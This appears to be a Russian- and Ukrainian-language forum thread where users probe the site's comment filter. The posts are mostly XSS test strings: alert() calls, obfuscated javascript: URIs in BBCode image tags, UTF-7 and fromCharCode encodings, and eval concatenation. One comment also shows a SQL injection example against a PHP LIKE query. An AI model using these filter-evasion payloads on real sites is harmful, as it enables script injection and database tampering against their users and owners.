alert()

теги удаляются))

``;!--"=&{()}

alert(1) alert(2) alert(3) alert(4) alert(5)

">`"`,/?@%

>>>>

script

",>`< ",

",>`alert(1);`"",>`

",>`И тут работает!

",>`

alert(`nezumi.tested`)

)))))

[img]j a v a s c r i p t:alert(/XSS/).jpg[/img]

j a v a s c r i p t:alert(`XSS`)

[post=1000[topic=wj (javascript*:alert (`s *1;&#*49;`)]] [/topic] [/post]

ну!

ага.....)

execScript({},{})

IMG SRC="jav ascript:alert(`XSS`);">

a="get"; b="URL(""; c="javascript:"; d="alert(`XSS`);")"; eval(a+b+c+d);

alert(`Добрый день`)

<script language = Javascript> alert(`Добрый день`) </script>

<script language = Javascript> alert(`Добрый день`) < \ script>

include();

/alert(`heel`);

alert(`Приветшрыиршиа`)

+ADw-SCRIPT+AD4-alert(`message`);+ADw-/SCRIPT+AD4-

`>">alert(/XSS4/)

Безкінечно можна дивитися на воду, вогонь та те, як працюють інші. :)

ну все ж таки якщо дуже сильно захотіти то можна написати код який не відфільтруєця) але це надоїдає))

Іване - я знаю, що дірок іще багато, навіть відомо де. Та за півроку самі очевидні дірки себе вже проявили, а для більш серйозних поки що не вистачає у учасників фантазії або навичок. Але, час від часу з`являються товариші, коли приходиться сідати та штопати - відновлювати - штопати - відновлювати ... :).

та це ще й треба мати бажання їх шукати)) опублікували би якісь нові статті вже чи що) а то якось не цікаво

`;alert(String.fromCharCode(88,83,83))//`;alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">`>alert(String.fromCharCode(88,83,83))

Click me!

$search = $_GET["search"]; "SELECT * FROM base WHERE text LIKE (`%$search_text%`) Для /?search=abc все отлично, но если наберут например /?search=`)+and+(id=`1 получаем запрос "SELECT * FROM base WHERE text LIKE(`%`) AND (id=`1%`)"

Test

Test

Fef

body{ }

body{ background-color:#c1c1c1; }

hhm...

javascript:void(document.body.contentEditable = true);